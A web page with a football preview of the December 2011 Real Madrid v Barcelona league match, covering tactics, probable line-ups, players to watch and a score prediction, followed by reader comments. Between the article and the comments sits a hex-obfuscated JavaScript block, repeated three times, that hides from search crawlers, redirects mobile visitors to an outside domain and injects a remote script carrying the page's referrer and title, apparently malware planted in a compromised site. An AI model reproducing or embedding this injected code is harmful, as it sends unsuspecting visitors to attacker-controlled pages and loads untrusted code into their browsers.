REAL MADRID CF

v

FC BARCELONA

Estadio Santiago BernabAi??u, Madrid
December 11, 2011; 0230 IST

***

.

The biggest match of this season in La Liga finally descends upon us. Barcelona travel to Real Madrid to assert their supremacy again, while the home team will be looking forward to wrest the baton of supremacy from their bitter opponentsai??i?? grasp.

Both the teams have everything to play for. The firstAi??El ClA?sico in the last seven seasons has proven to be the most decisive one, as the team which triumphed went on to win the league.Ai??JosAi?? Mourinhoai??i??s Real Madrid looks more imperious than ever, and even though Barcelona went through some tough games, they seem to be back in the groove at the right moment with a vintage Barca victory against Levante.

This is Mourinhoai??i??s biggest challenge till date.Ai??The former Inter managerAi??has repeatedly maintained that his teams perform better in the second year, and this is his second year at Real Madrid. There are no more excuses left should he be defeated. He has had enough time and more than enough clashes with the Blaugrana to prepare his team for this clash.

Pep Guardiola has a bigger task at hand. After being outplayed in the Spanish Supercup first leg, in which his players were relatively underprepared, this clash provides the chance for Guardiola to prove that his team is undeniably the best on the planet even today. This may be a match which may well decide the league. If Real Madrid wins, it opens a lead of six points with a game in hand. So, this is not just another league match for the Catalans, but one which could turn out to be the league clincher for their biggest rivals.

Team news and Tactical Brief

Real Madrid

Mourinho will have all of his players available for the match except Ricardo Carvalho who is still injured. This means that the Portuguese tactician will have many options on the bench to look to in case of any tactical switches. But the biggest question is – what formation will Mourinho play?

Mourinho has preferred a 4-2-3-1 in all his matches so far, but will he stick to the same formation? Ideally he should, but if Barcelona plays a 3-4-3, 4-2-3-1 does not seem to be a very good option. Itai??i??s a very difficult decision to make and it remains to be seen if Mourinho decides to stick with his usual formation.

Also, none of his first choice defensive players played against Ajax except Arbeloa, who is coming off an injury. Lass Diarra played as the right back for a few matches and it was interesting to note that Mourinho decided to rest Lass against Ajax. It may be an indication that Mourinho plans to play Lass in this match. But whether he will play as a right-back or as an extra defensive man in the midfield remains to be seen.

Cristiano Ronaldo will lead the attack from the left flank, and will be aided by Marcelo’s overlapping runs. Angel Di Maria, easily Real Madrid’s most improved player this season, will start on the right providing necessary width and pace.Ai??Ai??zil and Kaka are both fit, but the former looks to be in a better touch than the latter and may get a nod. Another point to note is that the German play-maker has not set the league on fire like he did last season.

Hunting with the dog

Mourinho also has two in-form strikers at his disposal with different characteristics. In Benzema, he has a better technical player, capable of holding the ball and with better play-making abilities than Higuain,who is a tireless worker with immense pressing abilities and decent off the ball movement. With Ronaldo making his darting runs into the box, space is bound to open on the left flank, and Benzema is quite adept at exchanging positions and turning himself into a provider when necessary. Also, Real Madrid will have less ball possession than usual, which means that they need to make their time on the ball count. Benzema looks to be the best bet on current form and because of his superior technical and dribbling ability.

Real Madrid will rely on their lightning quick counter attacks to get through the Barca defense, and this means they need Alonso to be at his best. They should not lose the ball too often in the midfield, and press harder to retain the ball as they did the first leg of Spanish SuperCup. This responsibility will be on the shoulders of Khedira, who has proved to be the perfect partner for Xabi in the midfield. Khedira does press well and hardly leaves too much space for opponents to exploit.

Coming to the defensive organization, Los Blancos cannot afford to sit too deep, which reduces their ability to press effectively and the ability to win the ball higher up the pitch to launch a quick counter. But, they cannot afford to play a high back line either. So, they need to employ a combination of zonal and man-marking to keep the Barca offense at bay.

In Pepe and Ramos, they have players who can recover very quickly even after they lose their marker and this is a huge advantage; however, they will miss the composed Carvalho, who was brilliant at reading the game. The disadvantage with this center back combination is that they can be a bit reckless at times. Both have been sent off last year in the Clasicos, and Mourinho needs to ensure that the pair keep a cool head at all times, with too much at stake.

Also, playing Ronaldo and Marcelo on the left will confine Alves to his half, but the space behind Marcelo will be open to exploit for the opposition. Because Barca play a three man offense with Alexis on the right, it can prove to be disastrous for Real if they lose the ball when Marcelo is too high on the pitch. So, when Marcelo bombs forward, Ramos will cover up the space on that flank and Alonso will drop deep closing down the space between Pepe and Ramos.

The biggest challenge for Mourinhoai??i??s team will be to nullify the space to Barca players. With players like Messi, Iniesta and Xavi in their ranks, the Catalans need the minimum of spaces to carve an opening. Real Madrid need to stay compact, close down spaces and more importantly press high up the pitch and win the ball as much as possible.

In attack, Real Madrid need to convert their chances and not waste as they did in the SuperCup. Chances against this Barca team do not come too easily, and it will be a crime if the strikers make a mess of their chances. Also, when they attack, Real will move the ball forward quickly and play vertical as much as possible ensuring that they maintain their direct style of play in attack.

Another advantage Real Madrid have over Barcelona is over set pieces. The home team boats an impressive array of players who can prove deadly in dead ball situations. They even have good headers of the ball in Ronaldo, Ramos, Pepe and Benzema giving them an advantage in corners on either side of the pitch.

If things are not going too well for Real, they have a bench comprising Higuain, KakA?, Albiol and Sahin who are mightly talented, but neither of them has made any impact on the Clasicos played so far under Mourinho because of various reasons.

A 4-2-3-1 looks to be the most probable formation but a 4-3-3 is also a probability.

Probable Starting XI (4-2-3-1): Casillas; Lass, Pepe, Ramos, Marcelo; Khedira, Alonso; Di Maria, Ai??zil, Ronaldo ; Benzema

Subs: Kaka, Higuain, Adan, Albiol, Sahin, Arbeloa,CoentrA?o

Barcelona

Mourinho may have the option of playing two formations but so does Pep Guardiola. The former Barca playmaker, after enduring a low, by Barca standards, in the past few weeks, seems to finally have got his team dancing to his tunes. Against Levante, Barca was brilliant all over the pitch, and any doubts of them being underprepared or the hushed voices of loss in form were dispelled.

Guardiola has preferred to play 3-4-3 on many occasions this season, but will he play the same formation against a pacy Real Madrid attack? Playing a 3-4-3 gives more options to Guardiola to ensure that the midfield battle is always won by the Catalans. With players like Busquets, Xavi, Iniesta and Cesc tiki-taka-ing tirelessly, Real Madridai??i??s midfield may be pushed deeper inside their own half. But, the disadvantage Guardiola will have is the space in a 3 man defense.

Real Madrid are too good on the counter and have the ability to outpace and outrun oppositions with their brilliantly fast transitions and picking on spaces behind the defense. This is a risk Pep may not be willing to take, and and he would stick to his usual 4-3-3.

If Pep plays a 4-3-3, it means that the defense will be more organized and Barca will have more cover at the back with Messi playing a false-9, sometimes dropping deep and enabling Iniesta to make his run forward. Also, the form of David Villa has been under the scanner for quite some time now, but the former Valencia star has played well against Real Madrid in the Clasicos, especially in the Manita thrashing. Alexis Sanchez, bought from Udinese, to break through defenses with his trickery and technique will be an interesting choice on the right.

There is only wayAi??BarAi??a are going to approach this match. They will keep the ball; pass it around, running around opening up spaces for team mates. But, they may not have the services of Dani Alves as often as they would like. Alves, if he plays in the defense, will be marking Ronaldo and it would be too much of a risk if the Brazilian suspends his primary duties and decides to bomb forward too many times.

One-Touch football at its very best!

Real Madrid will stay compact and press hard, but Barca have encountered such situations before and have even overcome such oppositions. TheirAi??first touch passes are the key to break such defenses, and with the midfield Barca have, playing one touch football cannot get any better. They will also try to draw professional fouls, which Real Madrid needs to be careful with because such fouls get players booked.

If Real Madrid stay compact with minimum space between their defenders, it opens up spaces on the flanks for Villa and Sanchez to exploit. Barcelona will surely try to stretch the Madrid defense by drawing defenders towards the flanks and then open spaces in the defense for that through ball or run for the goal.

But, one problem Pep Guardiola will be having is defending set-pieces. They tend to give away more goals than they like in set-piece situations, and Real Madrid have personnel who can exploit set-pieces to their maximum advantage. The player capable of handling set-piece situations and organizing the defense to avoid any damage is the captain of Barcelona, Carles Puyol. With him at the heart of defense, Real Madrid will need to work much harder to break Barca.

Considering how brilliant Guardiola is, do not be surprised if Guardiola plays a variant of 4-4-2, with the consistently brilliant Mascherano and Pique in the centre of defense and Puyol on the right marking Ronaldo and Alves playing as a winger on the right. This would mean that, either of Alexis or Villa need to sit out, but Alves will ensure that the width of the pitch will be utilized to the maximum. Also, Alves is capable of quite a few stunning long-rangers and can prove to be more effective in attack.

The options Guardiola has are too many. Mascherano has been in superb form as centre back, and it will be interesting to see if he finds a spot in the starting XI. Also, the bench strength of the visiting team is as good as the home team, if not better. Cesc, Pedro, Cuenca and Thiago all have the ability to bring something extra when they are on the pitch.

Probable Starting XI (4-3-3): Valdes; Alves, Pique, Puyol, Abidal; Xavi, Busquets, Iniesta ; Alexis, Messi , Villa

Subs: Pedro, Pinto, Cuenca, Fabregas, Mascherano, Thiago, Keita, Adriano

TheHardTackleai??i??s Players to Watch Out

Xabi Alonso (Real Madrid)

Jose Mourinhoai??i??s Real Madrid without Xabi Alonso is simply unimaginable. Against Ajax, in their last CL encounter, Real Madridai??i??s midfield were being run over even with Sahin and Granero in the middle until Mourinho introduced Alonso, who managed to hold the midfield together and finally ended the match with a usual Alonso assist to Callejon for Realai??i??s third.

Also, Real Madridai??i??s counter attacks are heavily dependent on Alonsoai??i??s play. The solid base he provides for building an attack is priceless and there are very few like him in modern football.

Andres Iniesta (FC Barcelona)

Xavi may be the heartbeat of this Barca squad but Iniesta adds to the midfield something every team craves for- Unpredictability and guile. With Xavi and Busquets around him,keeping the ball ticking and maintaining possession, it is the genius of Iniesta that has the ability to unlock any defense in Europe. His deft touches, his movement off-the ai??i??ball coupled with his understanding with Messi and Xavi is the most feared combination for any team.

Real Madridai??i??s defense has been solid throughout this season and there is every chance that Messi will be man marked again and reduced space and this places the onus on Iniesta to produce that moment of brilliance for his team to triumph.

TheHardTackleai??i??s Prediction

Real Madrid 2 ai??i?? 2 FC Barcelona

It is very difficult to predict the score line involving these two brilliant sides with two of the most tactical brains in football on either bench. A draw would be the safest prediction.

This is a game which promises to be an intriguing tactical battle and the tiniest of tactical details or corrections in this match can very well decide the fate of La Liga.

TheHardTackle’s Blast From the Past

Click here to watch two historical clashes between these teams. One is the 1942-43 match which Real won 11-1 and the other one is the 1960-61 European Cup clash.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

3 Responses to “Real Madrid v Barcelona Preview : Can Real Madrid Return The Favor?”

Read below or add a comment...

  1. Syed Ghayaz says:

    Good article. For a moment thought it was written by a sports Personality/Journalist.

  2. Kimi Cilmi says:

    A nice and balanced article. I think Pedro will start as too has always done well against Real. For Real, Kaka will play some part cause Jose has been banging on about him regaining fitness and being an important part of the team.

  3. Oligarch says:

    You are one of the best sports writers out there…
    Great job.. You really know your soccer..